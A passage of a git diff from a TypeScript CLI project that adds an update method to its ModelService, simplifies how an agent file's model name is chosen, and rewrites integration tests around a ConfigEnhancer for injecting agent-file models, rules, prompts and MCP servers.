error; } } - - setState(newState: Partial): void { - super.setState(newState); - serviceContainer.set(SERVICE_NAMES.CONFIG, this.currentState); - } } diff --git a/extensions/cli/src/services/ModelService.test.ts b/extensions/cli/src/services/ModelService.test.ts index 1ce83b54025..bcc79778003 100644 --- a/extensions/cli/src/services/ModelService.test.ts +++ b/extensions/cli/src/services/ModelService.test.ts @@ -100,6 +100,45 @@ describe("ModelService", () => { }); }); + describe("update()", () => { + test("should update model with new assistant config", async () => { + // Initialize first + vi.mocked(config.getLlmApi).mockReturnValue([ + mockLlmApi as any, + mockAssistant.models![0] as ModelConfig, + ]); + await service.initialize(mockAssistant, mockAuthConfig); + + // Update with new assistant + const newAssistant = { + ...mockAssistant, + models: [ + { + provider: "openai", + model: "gpt-4-turbo", + name: "GPT-4 Turbo", + apiKey: "new-key", + roles: ["chat"], + } as ModelConfig, + ], + }; + const newLlmApi = { complete: vi.fn(), stream: vi.fn() }; + vi.mocked(config.getLlmApi).mockReturnValue([ + newLlmApi as any, + newAssistant.models![0] as ModelConfig, + ]); + + const state = await service.update(newAssistant, mockAuthConfig); + + expect(state).toEqual({ + llmApi: newLlmApi, + model: newAssistant.models![0], + assistant: newAssistant, + authConfig: mockAuthConfig, + }); + }); + }); + describe("switchModel()", () => { test("should switch to a different model by index", async () => { vi.mocked(config.getLlmApi).mockReturnValue([ diff --git a/extensions/cli/src/services/ModelService.ts b/extensions/cli/src/services/ModelService.ts index 2e43062e409..f4e0a18b8e6 100644 --- a/extensions/cli/src/services/ModelService.ts +++ b/extensions/cli/src/services/ModelService.ts @@ -41,7 +41,7 @@ export class ModelService async doInitialize( assistant: AssistantUnrolled, authConfig: AuthConfig, - agentFileServiceState: AgentFileServiceState | undefined, + agentFileServiceState?: AgentFileServiceState, ): Promise { logger.debug("ModelService.doInitialize called", { hasAssistant: !!assistant, @@ -60,13 +60,12 @@ export class ModelService let modelSource = "default"; // Priority = agentFile -> last selected model - if (agentFileServiceState?.agentFileModel?.name) { - preferredModelName = agentFileServiceState.agentFileModel?.name; + if (agentFileServiceState?.agentFileModelName) { + preferredModelName = agentFileServiceState.agentFileModelName; modelSource = "agentFile"; } else { - const persistedName = getModelName(authConfig); - if (persistedName) { - preferredModelName = persistedName; + preferredModelName = getModelName(authConfig); + if (preferredModelName) { modelSource = "persisted"; } } @@ -123,6 +122,48 @@ export class ModelService } } + /** + * Update the model based on new config or auth changes + */ + async update( + assistant: AssistantUnrolled, + authConfig: AuthConfig, + ): Promise { + logger.debug("Updating ModelService"); + + try { + // Update instance properties for backward compatibility + this.assistant = assistant; + this.authConfig = authConfig; + this.availableModels = (assistant.models?.filter( + (model) => + model && (model.roles?.includes("chat") || model.roles === undefined), + ) || []) as ModelConfig[]; + + const [llmApi, model] = getLlmApi(assistant, authConfig); + + // Ensure state has all necessary data + this.setState({ + llmApi, + model, + assistant, + authConfig, + }); + + logger.debug("ModelService updated successfully", { + modelProvider: model.provider, + modelName: (model as any).name || "unnamed", + availableModels: this.availableModels.length, + }); + + return this.getState(); + } catch (error: any) { + logger.error("Failed to update ModelService:", error); + this.emit("error", error); + throw error; + } + } + /** * Override isReady to check for required state */ diff --git a/extensions/cli/src/services/ModelService.workflow-priority.test.ts b/extensions/cli/src/services/ModelService.workflow-priority.test.ts index 8706a115095..e683a86d26a 100644 --- a/extensions/cli/src/services/ModelService.workflow-priority.test.ts +++ b/extensions/cli/src/services/ModelService.workflow-priority.test.ts @@ -60,13 +60,8 @@ describe("ModelService agent file model prioritization", () => { prompt: "Test agent", }, slug: "test/agent", - agentFileModel: { - name: "gpt-4", - model: "gpt-4", - provider: "openai", - }, - parsedRules: null, - parsedTools: null, + agentFileModelName: "gpt-4", + agentFileService: null, }; // Mock createLlmApi to return different models based on the selected model @@ -107,9 +102,8 @@ describe("ModelService agent file model prioritization", () => { // No model specified }, slug: "test/agent", - agentFileModel: null, - parsedRules: null, - parsedTools: null, + agentFileModelName: null, + agentFileService: null, }; // Mock getModelName to return a persisted model @@ -152,13 +146,8 @@ describe("ModelService agent file model prioritization", () => { prompt: "Test agent", }, slug: "test/agent", - agentFileModel: { - name: "non-existent-model", - model: "non-existent", - provider: "nonexistent", - }, - parsedRules: null, - parsedTools: null, + agentFileModelName: "non-existent-model", + agentFileService: null, }; const getLlmApiMock = vi.mocked(config.getLlmApi); @@ -188,9 +177,8 @@ describe("ModelService agent file model prioritization", () => { const agentFileServiceState: AgentFileServiceState = { agentFile: null, slug: null, - agentFileModel: null, - parsedRules: null, - parsedTools: null, + agentFileModelName: null, + agentFileService: null, }; // Make sure getModelName returns null (no persisted model) @@ -227,13 +215,8 @@ describe("ModelService agent file model prioritization", () => { prompt: "Test agent", }, slug: "test/agent", - agentFileModel: { - name: "gpt-4", - model: "gpt-4", - provider: "openai", - }, - parsedRules: null, - parsedTools: null, + agentFileModelName: "gpt-4", + agentFileService: null, }; // Mock getModelName to return a different persisted model diff --git a/extensions/cli/src/services/agent-file-integration.test.ts b/extensions/cli/src/services/agent-file-integration.test.ts index 080f9e40d79..905f7a68340 100644 --- a/extensions/cli/src/services/agent-file-integration.test.ts +++ b/extensions/cli/src/services/agent-file-integration.test.ts @@ -1,18 +1,17 @@ -import { beforeEach, describe, expect, it, vi } from "vitest"; +import { vi } from "vitest"; + +import { ConfigEnhancer } from "../configEnhancer.js"; import { AgentFileService } from "./AgentFileService.js"; -import { ConfigService } from "./ConfigService.js"; import { ModelService } from "./ModelService.js"; // Mock the hubLoader module vi.mock("../hubLoader.js", () => ({ loadPackageFromHub: vi.fn(), loadPackagesFromHub: vi.fn(), - loadModelFromHub: vi.fn(), mcpProcessor: {}, modelProcessor: {}, processRule: vi.fn(), - isStringRule: vi.fn(), agentFileProcessor: { type: "agentFile", expectedFileExtensions: [".md"], @@ -39,50 +38,18 @@ vi.mock("../config.js", () => ({ // Mock auth module vi.mock("../auth/workos.js", () => ({ getModelName: vi.fn(), - loadAuthConfig: vi.fn(), -})); - -// Mock the config-yaml package -vi.mock("@continuedev/config-yaml", async (importOriginal) => { - const actual = - await importOriginal(); - return { - ...actual, - decodePackageIdentifier: vi.fn((id) => ({ - type: "slug", - slug: id, - version: undefined, - })), - }; -}); - -// Mock configLoader -vi.mock("../configLoader.js", () => ({ - loadConfiguration: vi.fn(), -})); - -// Mock service container -vi.mock("./ServiceContainer.js", () => ({ - serviceContainer: { - get: vi.fn(), - set: vi.fn(), - reload: vi.fn(), - }, })); describe("Agent file Integration Tests", () => { let agentFileService: AgentFileService; let modelService: ModelService; - let configService: ConfigService; + let configEnhancer: ConfigEnhancer; let mockLoadPackageFromHub: any; let mockLoadPackagesFromHub: any; let mockProcessRule: any; let mockCreateLlmApi: any; let mockGetLlmApi: any; let mockModelProcessor: any; - let mockDecodePackageIdentifier: any; - let mockLoadModelFromHub: any; - let mockIsStringRule: any; const mockAgentFile = { name: "Test Agent File", @@ -123,32 +90,21 @@ describe("Agent file Integration Tests", () => { mockLoadPackagesFromHub = hubLoaderModule.loadPackagesFromHub as any; mockProcessRule = hubLoaderModule.processRule as any; mockModelProcessor = hubLoaderModule.modelProcessor; - mockLoadModelFromHub = hubLoaderModule.loadModelFromHub as any; - mockIsStringRule = hubLoaderModule.isStringRule as any; mockCreateLlmApi = configModule.createLlmApi as any; mockGetLlmApi = configModule.getLlmApi as any; - // Get mock functions from config-yaml - const configYaml = await import("@continuedev/config-yaml"); - mockDecodePackageIdentifier = configYaml.decodePackageIdentifier as any; - // Create service instances agentFileService = new AgentFileService(); modelService = new ModelService(); - configService = new ConfigService(); + configEnhancer = new ConfigEnhancer(); // Setup default mocks mockProcessRule.mockResolvedValue("Processed rule content"); mockLoadPackagesFromHub.mockResolvedValue([{ name: "test-mcp" }]); - mockLoadPackageFromHub.mockResolvedValue(mockAgentFile); - mockLoadModelFromHub.mockResolvedValue({ - name: "gpt-4-agent", + mockLoadPackageFromHub.mockResolvedValue({ + name: "test-model", provider: "openai", }); - mockIsStringRule.mockImplementation((rule: string) => { - // String rules are those that don't look like package identifiers - return rule.includes(" ") || rule.includes("\n") || !rule.includes("/"); - }); mockCreateLlmApi.mockReturnValue({ mock: "llmApi" }); mockGetLlmApi.mockReturnValue([ { mock: "llmApi" }, @@ -156,157 +112,158 @@ describe("Agent file Integration Tests", () => { ]); }); - describe("Agent file models are injected via ConfigService", () => { - it("should add agent file model when agent file is active", async () => { + describe("Agent file models are injected via ConfigEnhancer", () => { + it("should add agent file model to options when agent file active", async () => { // Setup agent file service with active agent file mockLoadPackageFromHub.mockResolvedValue(mockAgentFile); - - // Mock the required service states - const authServiceState = { - authConfig: mockAuthConfig, - isAuthenticated: true, - }; - const apiClientState = { apiClient: { mock: "apiClient" } }; - - await agentFileService.initialize( - "owner/agent", - authServiceState, - apiClientState, - ); + await agentFileService.initialize("owner/agent"); const agentFileState = agentFileService.getState(); expect(agentFileState.agentFile?.model).toBe("gpt-4-agent"); - // Test that ConfigService processes the agent file model + // Mock loadPackageFromHub to return a model for the agent file model + mockLoadPackageFromHub.mockResolvedValueOnce({ + name: "gpt-4-agent", + provider: "openai", + }); + + // Test that ConfigEnhancer adds the agent file model to options + const baseConfig = { models: [] }; const baseOptions = {}; // No --model flag - const { injected, additional } = - configService.getAdditionalBlocksFromOptions( - baseOptions, - agentFileState, - ); + const enhancedConfig = await configEnhancer.enhanceConfig( + baseConfig as any, + baseOptions, + agentFileState, + ); + + // Should have loaded the agent file model directly via loadPackageFromHub + expect(mockLoadPackageFromHub).toHaveBeenCalledWith( + "gpt-4-agent", + mockModelProcessor, + ); - // Should have processed the agent file model as a package identifier - expect(mockDecodePackageIdentifier).toHaveBeenCalledWith("gpt-4-agent"); - expect(injected).toHaveLength(2); // Agent file model + parsed rules become package identifiers + // The agent file model should be prepended to the models array + expect(enhancedConfig.models).toHaveLength(1); + expect(enhancedConfig.models?.[0]).toEqual({ + name: "gpt-4-agent", + provider: "openai", + }); }); it("should not add agent file model when no agent file active", async () => { // Initialize agent file service without agent - const authServiceState = { - authConfig: mockAuthConfig, - isAuthenticated: true, - }; - const apiClientState = { apiClient: { mock: "apiClient" } }; - - await agentFileService.initialize( - undefined, - authServiceState, - apiClientState, - ); + await agentFileService.initialize(); const agentFileState = agentFileService.getState(); expect(agentFileState.agentFile).toBeNull(); - // Test that ConfigService doesn't add any agent file models + // Test that ConfigEnhancer doesn't add any agent file models + const baseConfig = { models: [] }; const baseOptions = {}; - const { injected, additional } = - configService.getAdditionalBlocksFromOptions( - baseOptions, - agentFileState, - ); + const enhancedConfig = await configEnhancer.enhanceConfig( + baseConfig as any, + baseOptions, + agentFileState, + ); - // Should not have processed any models - expect(injected).toHaveLength(0); - expect(additional.models || []).toHaveLength(0); + // Should not have enhanced with any models + expect(enhancedConfig.models).toEqual([]); }); - it("should process both --model flag and agent file model", async () => { + it("should respect --model flag priority over agent file model", async () => { // Setup agent file service with active agent file mockLoadPackageFromHub.mockResolvedValue(mockAgentFile); + await agentFileService.initialize("owner/agent"); - // Mock the required service states - const authServiceState = { - authConfig: mockAuthConfig, - isAuthenticated: true, - }; - const apiClientState = { apiClient: { mock: "apiClient" } }; - - await agentFileService.initialize( - "owner/agent", - authServiceState, - apiClientState, - ); + // Mock loadPackageFromHub for agent file model and loadPackagesFromHub for user models + mockLoadPackageFromHub.mockResolvedValueOnce({ + name: "gpt-4-agent", + provider: "openai", + }); + mockLoadPackagesFromHub.mockResolvedValueOnce([ + { + name: "user-specified-model", + provider: "anthropic", + }, + ]); - // Test that --model flag and agent file model are both processed + // Test that --model flag takes precedence + const baseConfig = { models: [] }; const baseOptions = { model: ["user-specified-model"] }; // User specified --model - const { injected, additional } = - configService.getAdditionalBlocksFromOptions( - baseOptions, - agentFileService.getState(), - ); + const enhancedConfig = await configEnhancer.enhanceConfig( + baseConfig as any, + baseOptions, + agentFileService.getState(), + ); + + // Should process the user model via loadPackagesFromHub + expect(mockLoadPackagesFromHub).toHaveBeenCalledWith( + ["user-specified-model"], + mockModelProcessor, + ); - // Should process both the user model and agent file model as package identifiers - expect(mockDecodePackageIdentifier).toHaveBeenCalledWith( - "user-specified-model", + // Should also load the agent file model + expect(mockLoadPackageFromHub).toHaveBeenCalledWith( + "gpt-4-agent", + mockModelProcessor, ); - expect(mockDecodePackageIdentifier).toHaveBeenCalledWith("gpt-4-agent"); - expect(injected).toHaveLength(3); // User model + agent file model + parsed rules as package identifiers + + // Both models should be in the config, with user model first (takes precedence) + expect(enhancedConfig.models).toHaveLength(2); + expect(enhancedConfig.models?.[0]).toEqual({ + name: "user-specified-model", + provider: "anthropic", + }); + expect(enhancedConfig.models?.[1]).toEqual({ + name: "gpt-4-agent", + provider: "openai", + }); }); }); - describe("AgentFileService affects ConfigService", () => { + describe("AgentFileService affects ConfigEnhancer", () => { it("should inject agent file rules when agent file active", async () => { - // Mock the agent file with parsed rules - const agentFileStateWithRules = { - agentFile: mockAgentFile, - parsedRules: ["agent/rule1"], // Parsed rules from agent file - parsedTools: null, - slug: null, - agentFileModel: null, - }; + // Setup agent file service with active agent file + mockLoadPackageFromHub.mockResolvedValue(mockAgentFile); + await agentFileService.initialize("owner/agent"); - const baseOptions = {}; + const baseConfig = { + rules: ["existing rule"], + }; - const { injected, additional } = - configService.getAdditionalBlocksFromOptions( - baseOptions, - agentFileStateWithRules, - ); + const enhancedConfig = await configEnhancer.enhanceConfig( + baseConfig as any, + {}, + agentFileService.getState(), + ); - // Agent file rules should be processed as package identifiers - expect(mockDecodePackageIdentifier).toHaveBeenCalledWith("agent/rule1"); - expect(injected).toHaveLength(2); // Model + rule + // Rules should be processed normally since agent file rules are now added to options.rule + expect(mockProcessRule).toHaveBeenCalledWith(mockAgentFile.rules); + expect(enhancedConfig.rules).toHaveLength(2); + // The agent file rule is processed first, then existing rules + expect(mockProcessRule).toHaveBeenNthCalledWith(1, mockAgentFile.rules); }); it("should not inject agent file rules when agent file inactive", async () => { // Initialize agent file service without agent file - const authServiceState = { - authConfig: mockAuthConfig, - isAuthenticated: true, + await agentFileService.initialize(); + + const baseConfig = { + rules: ["existing rule"], }; - const apiClientState = { apiClient: { mock: "apiClient" } }; - await agentFileService.initialize( - undefined, - authServiceState, - apiClientState, + const enhancedConfig = await configEnhancer.enhanceConfig( + baseConfig as any, + {}, + agentFileService.getState(), ); - const baseOptions = {}; - const agentFileState = agentFileService.getState(); - - const { injected, additional } = - configService.getAdditionalBlocksFromOptions( - baseOptions, - agentFileState, - ); - - // Should not process any rules since no agent file is active - expect(injected).toHaveLength(0); - expect(additional.rules).toHaveLength(0); + expect(mockProcessRule).not.toHaveBeenCalled(); + expect(enhancedConfig.rules).toHaveLength(1); + expect(enhancedConfig?.rules?.[0]).toBe("existing rule"); }); it("should not inject agent file rules when agent file has no rules", async () => { @@ -315,46 +272,29 @@ describe("Agent file Integration Tests", () => { rules: undefined, }; - // Mock agent file state with no parsed rules - const agentFileStateWithoutRules = { - agentFile: agentFileWithoutRules, - parsedRules: [], // No parsed rules - parsedTools: null, - slug: null, - agentFileModel: null, - }; + mockLoadPackageFromHub.mockResolvedValue(agentFileWithoutRules); + await agentFileService.initialize("owner/agent"); - const baseOptions = {}; + const baseConfig = { + rules: ["existing rule"], + }; - const { injected, additional } = - configService.getAdditionalBlocksFromOptions( - baseOptions, - agentFileStateWithoutRules, - ); + const enhancedConfig = await configEnhancer.enhanceConfig( + baseConfig as any, + {}, + agentFileService.getState(), + ); - // Should only have the model, no rules - expect(mockDecodePackageIdentifier).toHaveBeenCalledWith("gpt-4-agent"); // Only the model - expect(injected).toHaveLength(1); // Only the model - expect(additional.rules).toHaveLength(0); + expect(mockProcessRule).not.toHaveBeenCalled(); + expect(enhancedConfig.rules).toHaveLength(1); + expect(enhancedConfig.rules?.[0]).toBe("existing rule"); }); }); describe("Agent file model constraints", () => { it("should filter available models to only agent file model when specified", async () => { mockLoadPackageFromHub.mockResolvedValue(mockAgentFile); - - // Mock the required service states - const authServiceState = { - authConfig: mockAuthConfig, - isAuthenticated: true, - }; - const apiClientState = { apiClient: { mock: "apiClient" } }; - - await agentFileService.initialize( - "owner/agent", - authServiceState, - apiClientState, - ); + await agentFileService.initialize("owner/agent"); await modelService.initialize( mockAssistant as any, @@ -372,18 +312,7 @@ describe("Agent file Integration Tests", () => { }); it("should allow all models when no agent file active", async () => { - // Mock the required service states - const authServiceState = { - authConfig: mockAuthConfig, - isAuthenticated: true, - }; - const apiClientState = { apiClient: { mock: "apiClient" } }; - - await agentFileService.initialize( - undefined, - authServiceState, - apiClientState, - ); + await agentFileService.initialize(); await modelService.initialize( mockAssistant as any, @@ -403,21 +332,7 @@ describe("Agent file Integration Tests", () => { it("should handle agent loading errors gracefully", async () => { mockLoadPackageFromHub.mockRejectedValue(new Error("Network error")); - // Mock the required service states - const authServiceState = { - authConfig: mockAuthConfig, - isAuthenticated: true, - }; - const apiClientState = { apiClient: { mock: "apiClient" } }; - - // The service should throw the error, not handle it gracefully - await expect( - agentFileService.initialize( - "owner/agent", - authServiceState, - apiClientState, - ), - ).rejects.toThrow("Network error"); + await agentFileService.initialize("owner/agent"); const agentFileState = agentFileService.getState(); expect(agentFileState.agentFile).toBeNull(); @@ -430,34 +345,25 @@ describe("Agent file Integration Tests", () => { expect(mockGetLlmApi).toHaveBeenCalled(); }); - it("should handle package identifier decoding errors gracefully", async () => { - // Mock decoding to throw an error - mockDecodePackageIdentifier.mockImplementation((id: string) => { - if (id === "invalid-rule") { - throw new Error("Invalid package identifier"); - } - return { type: "slug", slug: id, version: undefined }; - }); + it("should handle agent rule processing errors gracefully", async () => { + mockLoadPackageFromHub.mockResolvedValue(mockAgentFile); + mockProcessRule.mockRejectedValue(new Error("Rule processing failed")); - const agentFileStateWithInvalidRules = { - agentFile: mockAgentFile, - parsedRules: ["invalid-rule"], // This will throw an error when decoded - parsedTools: null, - slug: null, - agentFileModel: null, - }; + await agentFileService.initialize("owner/agent"); - const baseOptions = {}; + const baseConfig = { + rules: ["existing rule"], + }; - const { injected, additional } = - configService.getAdditionalBlocksFromOptions( - baseOptions, - agentFileStateWithInvalidRules, - ); + const enhancedConfig = await configEnhancer.enhanceConfig( + baseConfig as any, + {}, + agentFileService.getState(), + ); - // Should handle the error gracefully and only include valid package identifiers - expect(injected).toHaveLength(1); // Only the model should be included - expect(additional.rules).toHaveLength(0); + // Should not inject agent file rule but should preserve existing rules + expect(enhancedConfig.rules).toHaveLength(1); + expect(enhancedConfig.rules?.[0]).toBe("existing rule"); }); // Removed test for missing service container since agent file service @@ -466,209 +372,142 @@ describe("Agent file Integration Tests", () => { it("should inject agent file prompt when agent file active", async () => { // Setup agent file service with active agent file mockLoadPackageFromHub.mockResolvedValue(mockAgentFile); + await agentFileService.initialize("owner/agent"); - // Mock the required service states - const authServiceState = { - authConfig: mockAuthConfig, - isAuthenticated: true, + const baseConfig = { + rules: ["existing rule"], + prompts: [], }; - const apiClientState = { apiClient: { mock: "apiClient" } }; - await agentFileService.initialize( - "owner/agent", - authServiceState, - apiClientState, + const enhancedConfig = await configEnhancer.enhanceConfig( + baseConfig as any, + {}, + agentFileService.getState(), ); - const baseOptions = {}; - const agentFileState = agentFileService.getState(); - - const { injected, additional } = - configService.getAdditionalBlocksFromOptions( - baseOptions, - agentFileState, - ); - - // Agent file prompt should be added to additional.prompts - expect(additional.prompts).toBeDefined(); - expect(additional.prompts?.length).toBeGreaterThan(0); - expect(additional.prompts?.[0]).toMatchObject({ + // Agent file prompt should be added to config.prompts + expect(enhancedConfig.prompts).toBeDefined(); + expect(enhancedConfig.prompts?.length).toBeGreaterThan(0); + expect(enhancedConfig.prompts?.[0]).toMatchObject({ prompt: "You are an assistant.", name: expect.stringContaining("Test Agent"), }); + expect(enhancedConfig.rules).toHaveLength(2); }); - it("should prepare agent file prompt for merging with other prompts", async () => { + it("should add agent file prompt to config alongside other prompts", async () => { // Setup agent file service with active agent file mockLoadPackageFromHub.mockResolvedValue(mockAgentFile); + await agentFileService.initialize("owner/agent"); - // Mock the required service states - const authServiceState = { - authConfig: mockAuthConfig, - isAuthenticated: true, + const baseConfig = { + prompts: [{ name: "Existing", prompt: "existing-prompt" }], }; - const apiClientState = { apiClient: { mock: "apiClient" } }; - - await agentFileService.initialize( - "owner/agent", - authServiceState, - apiClientState, - ); - const baseOptions = {}; - const agentFileState = agentFileService.getState(); - const { injected, additional } = - configService.getAdditionalBlocksFromOptions( - baseOptions, - agentFileState, - ); + const enhancedConfig = await configEnhancer.enhanceConfig( + baseConfig as any, + baseOptions, + agentFileService.getState(), + ); - // Agent file prompt should be in additional block ready for merging - expect(additional.prompts).toHaveLength(1); - expect(additional.prompts?.[0]).toMatchObject({ + // Agent file prompt should be prepended to existing prompts + expect(enhancedConfig.prompts).toHaveLength(2); + expect(enhancedConfig.prompts?.[0]).toMatchObject({ name: expect.stringContaining("Test Agent"), prompt: "You are an assistant.", }); - - // mergeUnrolledAssistants would combine this with base config prompts - const { mergeUnrolledAssistants } = await import( - "@continuedev/config-yaml" - ); - const baseConfig = { - name: "original", - version: "1.0.0", - prompts: [{ name: "Existing", prompt: "existing-prompt" }], - }; - - const merged = mergeUnrolledAssistants(baseConfig, additional); - expect(merged.prompts).toHaveLength(2); + expect(enhancedConfig.prompts?.[1]).toMatchObject({ + name: "Existing", + prompt: "existing-prompt", + }); }); it("should not add agent file prompt when agent file has no prompt", async () => { const agentFileWithoutPrompt = { ...mockAgentFile, - prompt: "", + prompt: undefined, }; - const agentFileStateWithoutPrompt = { - agentFile: agentFileWithoutPrompt, - parsedRules: [], - parsedTools: null, - slug: null, - agentFileModel: null, - }; + mockLoadPackageFromHub.mockResolvedValue(agentFileWithoutPrompt); + await agentFileService.initialize("owner/agent"); + const baseConfig = { + prompts: [{ name: "Existing", prompt: "existing-prompt" }], + }; const baseOptions = {}; - const { injected, additional } = - configService.getAdditionalBlocksFromOptions( - baseOptions, - agentFileStateWithoutPrompt, - ); + const enhancedConfig = await configEnhancer.enhanceConfig( + baseConfig as any, + baseOptions, + agentFileService.getState(), + ); - // Should not have any prompts in additional block - expect(additional.prompts).toHaveLength(0); + // Should only have the existing prompt, no agent file prompt added + expect(enhancedConfig.prompts).toHaveLength(1); + expect(enhancedConfig.prompts?.[0]).toMatchObject({ + name: "Existing", + prompt: "existing-prompt", + }); }); }); - describe("ConfigService prompt integration", () => { - it("should process agent file prompt and user prompts together", async () => { + describe("ConfigEnhancer prompt integration", () => { + it("should add agent file prompt to config.prompts when agent file active", async () => { // Setup agent file service with active agent file mockLoadPackageFromHub.mockResolvedValue(mockAgentFile); + await agentFileService.initialize("owner/agent"); - // Mock the required service states - const authServiceState = { - authConfig: mockAuthConfig, - isAuthenticated: true, - }; - const apiClientState = { apiClient: { mock: "apiClient" } }; + const baseOptions = { prompt: ["user-prompt"] }; + const baseConfig = { prompts: [] }; - await agentFileService.initialize( - "owner/agent", - authServiceState, - apiClientState, + // Enhance config with agent file state + const enhancedConfig = await configEnhancer.enhanceConfig( + baseConfig as any, + baseOptions, + agentFileService.getState(), ); - const baseOptions = { prompt: ["user-prompt"] }; - const agentFileState = agentFileService.getState(); - - // Process options with ConfigService - const { injected, additional } = - configService.getAdditionalBlocksFromOptions( - baseOptions, - agentFileState, - ); - - // Verify that the agent file prompt was added to additional block - expect(additional.prompts).toBeDefined(); - expect(additional.prompts).toHaveLength(1); - expect(additional.prompts?.[0]).toMatchObject({ + // Verify that the agent file prompt was added to config.prompts + expect(enhancedConfig.prompts).toBeDefined(); + expect(enhancedConfig.prompts).toHaveLength(1); + expect(enhancedConfig.prompts?.[0]).toMatchObject({ name: expect.stringContaining("Test Agent"), prompt: "You are an assistant.", description: "A test agent for integration testing", }); - - // User prompts should be in additional.rules as string rules - expect(additional.rules).toContain("user-prompt"); }); - it("should work end-to-end with agent file prompt processing", async () => { + it("should work end-to-end with agent file prompt in config", async () => { // Setup agent file service with active agent file mockLoadPackageFromHub.mockResolvedValue(mockAgentFile); - - // Mock the required service states - const authServiceState = { - authConfig: mockAuthConfig, - isAuthenticated: true, - }; - const apiClientState = { apiClient: { mock: "apiClient" } }; - - await agentFileService.initialize( - "owner/agent", - authServiceState, - apiClientState, - ); + await agentFileService.initialize("owner/agent"); const agentFileState = agentFileService.getState(); expect(agentFileState.agentFile?.prompt).toBe("You are an assistant."); + const baseConfig = { prompts: [] }; const baseOptions = { prompt: ["Tell me about TypeScript"] }; - // Process with ConfigService - const { injected, additional } = - configService.getAdditionalBlocksFromOptions( - baseOptions, - agentFileState, - ); - - // Verify agent file prompt is prepared for merging - expect(additional.prompts).toBeDefined(); - expect(additional.prompts?.length).toBeGreaterThan(0); - expect(additional.prompts?.[0]?.prompt).toBe("You are an assistant."); - expect(additional.prompts?.[0]?.name).toContain("Test Agent"); - - // User prompt should be a string rule - expect(additional.rules).toContain("Tell me about TypeScript"); + // Enhance config with agent file + const enhancedConfig = await configEnhancer.enhanceConfig( + baseConfig as any, + baseOptions, + agentFileState, + ); + + // Verify agent file prompt is added to config.prompts + expect(enhancedConfig.prompts).toBeDefined(); + expect(enhancedConfig.prompts?.length).toBeGreaterThan(0); + expect(enhancedConfig.prompts?.[0]?.prompt).toBe("You are an assistant."); + expect(enhancedConfig.prompts?.[0]?.name).toContain("Test Agent"); }); }); describe("Agent file data extraction", () => { it("should correctly extract all agent file properties", async () => { mockLoadPackageFromHub.mockResolvedValue(mockAgentFile); - - // Mock the required service states - const authServiceState = { - authConfig: mockAuthConfig, - isAuthenticated: true, - }; - const apiClientState = { apiClient: { mock: "apiClient" } }; - - await agentFileService.initialize( - "owner/agent", - authServiceState, - apiClientState, - ); + await agentFileService.initialize("owner/agent"); const agentFileState = agentFileService.getState(); expect(agentFileState.agentFile?.model).toBe("gpt-4-agent"); @@ -689,19 +528,7 @@ describe("Agent file Integration Tests", () => { }; mockLoadPackageFromHub.mockResolvedValue(partialAgentFile); - - // Mock the required service states - const authServiceState = { - authConfig: mockAuthConfig, - isAuthenticated: true, - }; - const apiClientState = { apiClient: { mock: "apiClient" } }; - - await agentFileService.initialize( - "owner/partial", - authServiceState, - apiClientState, - ); + await agentFileService.initialize("owner/partial"); const agentFileState = agentFileService.getState(); expect(agentFileState.agentFile?.model).toBe("gpt-3.5-turbo"); @@ -713,88 +540,102 @@ describe("Agent file Integration Tests", () => { describe("Agent file tools integration", () => { it("should inject MCP servers from agent file tools", async () => { - const agentFileStateWithTools = { - agentFile: { - ...mockAgentFile, - tools: "owner/mcp1, another/mcp2:specific_tool", - }, - parsedRules: [], - parsedTools: { - mcpServers: ["owner/mcp1", "another/mcp2"], // Parsed MCP servers - tools: [], - allBuiltIn: false, - }, - slug: null, - agentFileModel: null, + const agentFileWithTools = { + ...mockAgentFile, + tools: "owner/mcp1, another/mcp2:specific_tool", }; - const baseOptions = {}; + // Clear the default mock and setup specific mocks + mockLoadPackageFromHub.mockReset(); + // First call loads the agent file + mockLoadPackageFromHub.mockResolvedValueOnce(agentFileWithTools); + // Second call loads the agent file model + mockLoadPackageFromHub.mockResolvedValueOnce({ + name: "gpt-4-agent", + provider: "openai", + }); + // Third call loads mcp1 + mockLoadPackageFromHub.mockResolvedValueOnce({ name: "mcp1" }); + // Fourth call loads mcp2 + mockLoadPackageFromHub.mockResolvedValueOnce({ name: "mcp2" }); + + await agentFileService.initialize("owner/agent"); - const { injected, additional } = - configService.getAdditionalBlocksFromOptions( - baseOptions, - agentFileStateWithTools, - ); + const baseConfig = { + mcpServers: [{ name: "existing-mcp" }], + }; + + const enhancedConfig = await configEnhancer.enhanceConfig( + baseConfig as any, + {}, + agentFileService.getState(), + ); - // MCP servers should be processed as package identifiers - expect(mockDecodePackageIdentifier).toHaveBeenCalledWith("owner/mcp1"); - expect(mockDecodePackageIdentifier).toHaveBeenCalledWith("another/mcp2"); - expect(injected).toHaveLength(3); // model + 2 MCP servers + expect(enhancedConfig.mcpServers).toHaveLength(3); + // MCPs are prepended in the order they are loaded + expect(enhancedConfig.mcpServers?.[0]).toEqual({ name: "mcp1" }); + expect(enhancedConfig.mcpServers?.[1]).toEqual({ name: "mcp2" }); + expect(enhancedConfig.mcpServers?.[2]).toEqual({ name: "existing-mcp" }); }); it("should not inject MCP servers when agent file has no tools", async () => { - const agentFileStateWithoutTools = { - agentFile: { - ...mockAgentFile, - tools: undefined, - }, - parsedRules: [], - parsedTools: null, - slug: null, - agentFileModel: null, + const agentWithoutTools = { + ...mockAgentFile, + tools: undefined, }; - const baseOptions = {}; + mockLoadPackageFromHub.mockReset(); + mockLoadPackageFromHub.mockResolvedValueOnce(agentWithoutTools); + await agentFileService.initialize("owner/agent"); - const { injected, additional } = - configService.getAdditionalBlocksFromOptions( - baseOptions, - agentFileStateWithoutTools, - ); + const baseConfig = { + mcpServers: [{ name: "existing-mcp" }], + }; - // Should only have the model, no MCP servers - expect(mockDecodePackageIdentifier).toHaveBeenCalledWith("gpt-4-agent"); // Only model - expect(injected).toHaveLength(1); // Only model - expect(additional.mcpServers).toHaveLength(0); + const enhancedConfig = await configEnhancer.enhanceConfig( + baseConfig as any, + {}, + agentFileService.getState(), + ); + + expect(enhancedConfig.mcpServers).toHaveLength(1); + expect(enhancedConfig.mcpServers?.[0]).toEqual({ name: "existing-mcp" }); }); - it("should handle deduplicated MCP servers from parsing", async () => { - const agentFileStateWithDuplicateTools = { - agentFile: { - ...mockAgentFile, - tools: "owner/mcp1, owner/mcp1:tool1, owner/mcp1:tool2", - }, - parsedRules: [], - parsedTools: { - mcpServers: ["owner/mcp1"], // parseAgentFileTools already deduplicated - tools: [], - allBuiltIn: false, - }, - slug: null, - agentFileModel: null, + it("should deduplicate MCP servers", async () => { + const agentFileWithDuplicateTools = { + ...mockAgentFile, + tools: "owner/mcp1, 